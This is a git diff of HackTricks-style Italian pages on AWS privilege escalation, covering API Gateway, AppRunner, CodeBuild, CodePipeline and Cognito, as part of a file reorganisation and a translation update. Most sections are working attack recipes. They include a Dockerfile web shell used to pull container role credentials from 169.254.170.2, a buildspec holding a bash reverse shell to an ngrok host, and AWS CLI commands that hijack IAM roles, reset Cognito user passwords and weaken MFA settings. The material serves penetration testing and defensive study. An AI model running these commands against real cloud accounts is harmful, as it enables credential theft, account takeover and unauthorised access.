 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impatto Potenziale**: Accesso alle risorse associate al ruolo IAM della funzione Lambda.
+**Impatto potenziale**: Accesso alle risorse associate al ruolo IAM della Lambda function.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
 > [!NOTE]
-> Necessita di test
+> Da testare
 
-Un attaccante con i permessi `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` può **modificare un authorizer API Gateway esistente** per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API.
+An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modificare un API Gateway authorizer esistente** per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impatto Potenziale**: Bypassare i controlli di sicurezza, accesso non autorizzato alle risorse API.
+**Impatto potenziale**: Elusione dei controlli di sicurezza, accesso non autorizzato alle risorse API.
 
 ### `apigateway:UpdateVpcLink`
 
 > [!NOTE]
-> Necessita di test
+> Da testare
 
-Un attaccante con il permesso `apigateway:UpdateVpcLink` può **modificare un VPC Link esistente per puntare a un diverso Network Load Balancer, potenzialmente reindirizzando il traffico API privato verso risorse non autorizzate o malevole**.
+Un attaccante con il permesso `apigateway:UpdateVpcLink` può **modificare un VPC Link esistente per puntare a un diverso Network Load Balancer, reindirizzando potenzialmente il traffico delle API private verso risorse non autorizzate o dannose**.
 ```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
+VPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
 
 # Update the VPC Link
 aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
 ```
-**Impatto Potenziale**: Accesso non autorizzato a risorse API private, intercettazione o interruzione del traffico API.
+**Impatto potenziale**: Accesso non autorizzato a risorse API private, intercettazione o interruzione del traffico API.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
index 120161ec6..cdbc18edf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - AppRunner Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AppRunner
 
 ### `iam:PassRole`, `apprunner:CreateService`
 
-Un attaccante con questi permessi può creare un servizio AppRunner con un ruolo IAM allegato, potenzialmente elevando i privilegi accedendo alle credenziali del ruolo.
+Un attacker con questi permessi può creare un servizio AppRunner con un IAM role allegato, potenzialmente elevando i privilegi accedendo alle credenziali del role.
 
-L'attaccante prima crea un Dockerfile che funge da web shell per eseguire comandi arbitrari sul contenitore AppRunner.
+L'attacker crea prima un Dockerfile che funge da web shell per eseguire comandi arbitrari sul container AppRunner.
 ```Dockerfile
 FROM golang:1.24-bookworm
 WORKDIR /app
@@ -40,8 +40,8 @@ RUN go mod init test && go build -o main .
 EXPOSE 3000
 CMD ["./main"]
 ```
-Quindi, carica questa immagine in un repository ECR.  
-Caricando l'immagine in un repository pubblico in un account AWS controllato dall'attaccante, è possibile l'escalation dei privilegi anche se l'account della vittima non ha permessi per manipolare ECR.
+Quindi, push questa immagine in un repository ECR.
+Spingendo l'immagine in un repository pubblico in un account AWS controllato dall'attacker, la privilege escalation è possibile anche se l'account della victim non ha i permessi per manipolare ECR.
 ```sh
 IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
 docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
@@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
 docker push $IMAGE_NAME
 docker logout public.ecr.aws
 ```
-Successivamente, l'attaccante crea un servizio AppRunner configurato con questa immagine di web shell e il ruolo IAM che desidera sfruttare.
+Successivamente, l'attaccante crea un servizio AppRunner configurato con questa web shell image e l'IAM Role che vuole sfruttare.
 ```bash
 aws apprunner create-service \
 --service-name malicious-service \
@@ -63,10 +63,10 @@ aws apprunner create-service \
 --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
 --query Service.ServiceUrl
 ```
-Dopo aver atteso il completamento della creazione del servizio, utilizza la shell web per recuperare le credenziali del contenitore e ottenere i permessi del ruolo IAM associato ad AppRunner.
+Dopo aver atteso il completamento della creazione del servizio, usa il web shell per recuperare le container credentials e ottenere i permessi dell'IAM Role associato ad AppRunner.
 ```sh
 curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
 ```
-**Impatto Potenziale:** Escalation diretta dei privilegi a qualsiasi ruolo IAM che può essere associato ai servizi AppRunner.
+**Impatto potenziale:** Escalation di privilegi diretta a qualsiasi IAM role che può essere associato ai servizi AppRunner.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index f4e2282e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
new file mode 100644
index 000000000..e1daf22a0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+Da implementare
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
similarity index 76%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
index 12dca7c5b..b7622ac5c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Codebuild Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
-Ottieni ulteriori informazioni in:
+Maggiori informazioni in:
 
 {{#ref}}
-../aws-services/aws-codebuild-enum.md
+../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-Basta avere uno di questi permessi per attivare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:
+Anche solamente con una di queste autorizzazioni è sufficiente avviare un build con un nuovo buildspec e rubare il token del role IAM assegnato al progetto:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -60,14 +60,14 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 
 **Nota**: La differenza tra questi due comandi è che:
 
-- `StartBuild` attiva un singolo lavoro di build utilizzando un specifico `buildspec.yml`.
-- `StartBuildBatch` consente di avviare un batch di build, con configurazioni più complesse (come eseguire più build in parallelo).
+- `StartBuild` avvia un singolo job di build utilizzando un `buildspec.yml` specifico.
+- `StartBuildBatch` permette di avviare un batch di build, con configurazioni più complesse (come eseguire più build in parallelo).
 
-**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild allegati.
+**Impatto potenziale:** Privesc diretto ai ruoli AWS Codebuild associati.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Un attaccante con i permessi **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalare i privilegi a qualsiasi ruolo IAM di codebuild** creando uno in esecuzione.
+Un attacker con le autorizzazioni **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalate privileges** su qualsiasi codebuild IAM role creandone uno in esecuzione.
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 {{#endtab }}
 {{#endtabs }}
 
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
+**Potential Impact:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
 
 > [!WARNING]
-> In un **contenitore Codebuild**, il file `/codebuild/output/tmp/env.sh` contiene tutte le variabili d'ambiente necessarie per accedere alle **credenziali dei metadati**.
-
-> Questo file contiene la **variabile d'ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **percorso URL** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
-
-> Aggiungi questo all'URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo.
-
-> Inoltre, contiene anche la **variabile d'ambiente `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni sui metadati del contenitore**.
+> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
+>
+> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+>
+> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
+>
+> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token.
+Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -218,7 +218,7 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
+**Impatto potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild allegati.
+**Impatto potenziale:** privesc diretto ai ruoli AWS Codebuild associati.
 
 ### SSM
 
-Avere **sufficienti permessi per avviare una sessione ssm** rende possibile **entrare in un progetto Codebuild** in fase di costruzione.
+Avendo **sufficienti permessi per avviare una ssm session** è possibile accedere **a un Codebuild project** in fase di build.
 
-Il progetto codebuild avrà bisogno di avere un punto di interruzione:
+The codebuild project will need to have a breakpoint:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
@@ -319,13 +319,13 @@ E poi:
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-Per ulteriori informazioni [**controlla la documentazione**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Per maggiori informazioni [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Un attaccante in grado di avviare/ripristinare una build di un progetto CodeBuild specifico che memorizza il proprio file `buildspec.yml` in un bucket S3 a cui l'attaccante ha accesso in scrittura, può ottenere l'esecuzione di comandi nel processo CodeBuild.
+Un attaccante in grado di avviare/riavviare una build di un progetto CodeBuild specifico che memorizza il suo file `buildspec.yml` in un bucket S3 su cui l'attaccante ha accesso in scrittura, può ottenere l'esecuzione di comandi nel processo di CodeBuild.
 
-Nota: l'escalation è rilevante solo se il lavoratore CodeBuild ha un ruolo diverso, si spera più privilegiato, rispetto a quello dell'attaccante.
+Nota: l'escalation è rilevante solo se il worker di CodeBuild ha un ruolo diverso, idealmente più privilegiato, rispetto a quello dell'attaccante.
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impatto:** Privesc diretto al ruolo utilizzato dal lavoratore AWS CodeBuild che di solito ha privilegi elevati.
+**Impatto:** Direct privesc al ruolo usato dal worker di AWS CodeBuild che di solito ha privilegi elevati.
 
 > [!WARNING]
-> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il `buildspec.yml` dalla directory radice, comprimere di nuovo e caricare
+> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il `buildspec.yml` dalla directory root, comprimere di nuovo e caricare
 
-Maggiori dettagli possono essere trovati [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
+Maggiori dettagli sono disponibili [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild allegati.
+**Potenziale Impatto:** Direct privesc ai ruoli AWS Codebuild associati.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index 5b001a7bd..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Per ulteriori informazioni su codepipeline controlla:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-Quando crei una code pipeline puoi indicare un **ruolo IAM di codepipeline da eseguire**, quindi potresti comprometterli.
-
-Oltre ai permessi precedenti avresti bisogno di **accesso al luogo dove il codice è memorizzato** (S3, ECR, github, bitbucket...)
-
-Ho testato questo eseguendo il processo nella pagina web, i permessi indicati precedentemente non sono quelli di List/Get necessari per creare una codepipeline, ma per crearla nel web avrai anche bisogno di: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
-
-Durante la **creazione del progetto di build** puoi indicare un **comando da eseguire** (rev shell?) e far eseguire la fase di build come **utente privilegiato**, questa è la configurazione di cui l'attaccante ha bisogno per compromettere:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Potrebbe essere possibile modificare il ruolo utilizzato e il comando eseguito su una codepipeline con i permessi precedenti.
-
-### `codepipeline:pollforjobs`
-
-[AWS menziona](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> Quando questa API viene chiamata, CodePipeline **restituisce credenziali temporanee per il bucket S3** utilizzato per memorizzare artefatti per la pipeline, se l'azione richiede accesso a quel bucket S3 per artefatti di input o output. Questa API **restituisce anche eventuali valori segreti definiti per l'azione**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..9f59e7f9b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+Per ulteriori informazioni su codepipeline consulta:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+Quando crei una code pipeline puoi indicare un **codepipeline IAM Role da utilizzare**, quindi potresti comprometterlo.
+
+Oltre alle autorizzazioni precedenti avresti bisogno di **accesso al luogo dove il codice è memorizzato** (S3, ECR, github, bitbucket...)
+
+Ho testato questo eseguendo il processo nella pagina web; le autorizzazioni indicate precedentemente sono quelle non di tipo List/Get necessarie per creare una codepipeline, ma per crearla via web avrai anche bisogno di: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+
+Durante la **creazione del build project** puoi indicare un **comando da eseguire** (rev shell?) e far eseguire la fase di build come **privileged user**; questa è la configurazione che l'attaccante cerca per compromettere:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Potrebbe essere possibile modificare il ruolo usato e il comando eseguito su una codepipeline con le autorizzazioni precedenti.
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> Quando questa API viene chiamata, CodePipeline **restituisce credenziali temporanee per il bucket S3** usato per memorizzare gli artifact per la pipeline, se l'azione richiede accesso a quel bucket S3 per artifact di input o output. Questa API **restituisce anche eventuali valori segreti definiti per l'azione**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 04a4fb8e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Per ulteriori informazioni su Cognito, controlla:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Raccolta delle credenziali dall'Identity Pool
-
-Poiché Cognito può concedere **credenziali di ruolo IAM** sia a **utenti autenticati** che **non autenticati**, se riesci a localizzare l'**ID dell'Identity Pool** di un'applicazione (dovrebbe essere hardcoded in essa) puoi ottenere nuove credenziali e quindi privesc (all'interno di un account AWS in cui probabilmente non avevi nemmeno credenziali precedentemente).
-
-Per ulteriori informazioni [**controlla questa pagina**](../aws-unauthenticated-enum-access/#cognito).
-
-**Impatto Potenziale:** Privesc diretto al ruolo dei servizi associato agli utenti non autenticati (e probabilmente a quello associato agli utenti autenticati).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-Con questo permesso puoi **concedere qualsiasi ruolo cognito** agli utenti autenticati/non autenticati dell'app cognito.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id <identity_pool_id> \
---roles unauthenticated=<role ARN>
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Se l'app cognito **non ha abilitati gli utenti non autenticati**, potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarlo.
-
-**Impatto Potenziale:** Privilegi di escalation diretti a qualsiasi ruolo cognito.
-
-### `cognito-identity:update-identity-pool`
-
-Un attaccante con questo permesso potrebbe impostare, ad esempio, un Cognito User Pool sotto il suo controllo o qualsiasi altro provider di identità dove può accedere come **modo per accedere a questo Cognito Identity Pool**. Poi, semplicemente **accedere** a quel provider di utenti **gli permetterà di accedere al ruolo autenticato configurato nell'Identity Pool**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id <id_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-```
-È anche possibile **abusare di questo permesso per consentire l'autenticazione di base**:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Impatto Potenziale**: Compromettere il ruolo IAM autenticato configurato all'interno del pool di identità.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Questo permesso consente di **aggiungere un utente Cognito a un gruppo Cognito**, quindi un attaccante potrebbe abusare di questo permesso per aggiungere un utente sotto il suo controllo ad altri gruppi con privilegi **migliori** o **ruoli IAM diversi**:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id <value> \
---username <value> \
---group-name <value>
-```
-**Impatto Potenziale:** Privesc ad altri gruppi Cognito e ruoli IAM associati ai Gruppi del Pool Utenti.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-Un attaccante con questi permessi potrebbe **creare/aggiornare gruppi** con **ogni ruolo IAM che può essere utilizzato da un Cognito Identity Provider compromesso** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
-```
-**Impatto Potenziale:** Privesc ad altri ruoli IAM di Cognito.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Questo permesso consente di **verificare una registrazione**. Per impostazione predefinita, chiunque può accedere alle applicazioni Cognito; se ciò viene lasciato, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questo permesso.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id <value> \
---username <value>
-```
-**Impatto Potenziale:** Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati se puoi registrare un nuovo utente. Privesc indiretto ad altre funzionalità dell'app potendo confermare qualsiasi account.
-
-### `cognito-idp:AdminCreateUser`
-
-Questo permesso consentirebbe a un attaccante di creare un nuovo utente all'interno del pool di utenti. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la propria password.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id <value> \
---username <value> \
-[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
-[--validation-data <value>]
-[--temporary-password <value>]
-```
-**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente.
-
-### `cognito-idp:AdminEnableUser`
-
-Questa autorizzazione può aiutare in uno scenario molto particolare in cui un attaccante ha trovato le credenziali di un utente disabilitato e ha bisogno di **riattivarlo**.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id <value> \
---username <value>
-```
-**Impatto Potenziale:** Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati e permessi dell'utente se l'attaccante avesse credenziali per un utente disabilitato.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Questo permesso consente di accedere con il [**metodo ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Per ulteriori informazioni segui il link.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Questo permesso consentirebbe a un attaccante di **cambiare la password di qualsiasi utente**, rendendolo in grado di impersonare qualsiasi utente (che non ha MFA abilitato).
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id <value> \
---username <value> \
---password <value> \
---permanent
-```
-**Impatto Potenziale:** Privesc diretto a potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: Un attaccante potrebbe potenzialmente abusare di questo permesso per impostare un telefono cellulare sotto il suo controllo come **SMS MFA di un utente**.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id <value> \
---username <value> \
---mfa-options <value>
-```
-**SetUserMFAPreference:** Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un utente per bypassare la protezione MFA.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings <value>] \
-[--software-token-mfa-settings <value>] \
---username <value> \
---user-pool-id <value>
-```
-**SetUserPoolMfaConfig**: Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un pool utenti per bypassare la protezione MFA.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id <value> \
-[--sms-mfa-configuration <value>] \
-[--software-token-mfa-configuration <value>] \
-[--mfa-configuration <value>]
-```
-**UpdateUserPool:** È anche possibile aggiornare il pool utenti per modificare la politica MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Privesc indiretto a potenzialmente qualsiasi utente di cui l'attaccante conosce le credenziali, questo potrebbe consentire di bypassare la protezione MFA.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-Un attaccante con questo permesso potrebbe cambiare l'email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere più privilegi in un'applicazione sottostante.\
-Questo consente di cambiare un'email o un numero di telefono e impostarlo come verificato.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id <value> \
---username <value> \
---user-attributes <value>
-```
-**Impatto Potenziale:** Potenziale privesc indiretto nell'applicazione sottostante che utilizza Cognito User Pool che conferisce privilegi basati sugli attributi dell'utente.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-Un attaccante con questo permesso potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client di pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo per autenticarsi, non avere alcun segreto, avere la revoca dei token disabilitata, consentire ai token di essere validi per un periodo più lungo...
-
-Lo stesso può essere fatto se invece di creare un nuovo client, un **esistente viene modificato**.
-
-Nella [**linea di comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o nell'[**aggiornamento**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, controllalo!.
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id <value> \
---client-name <value> \
-[...]
-```
-**Impatto Potenziale:** Potenziale privesc indiretto all'utente autorizzato dell'Identity Pool utilizzato dal User Pool creando un nuovo client che allenta le misure di sicurezza e rende possibile a un attaccante di accedere con un utente che è stato in grado di creare.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-Un attaccante potrebbe abusare di questo permesso per creare utenti caricando un csv con nuovi utenti.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name <value> \
---user-pool-id <value> \
---cloud-watch-logs-role-arn <value>
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
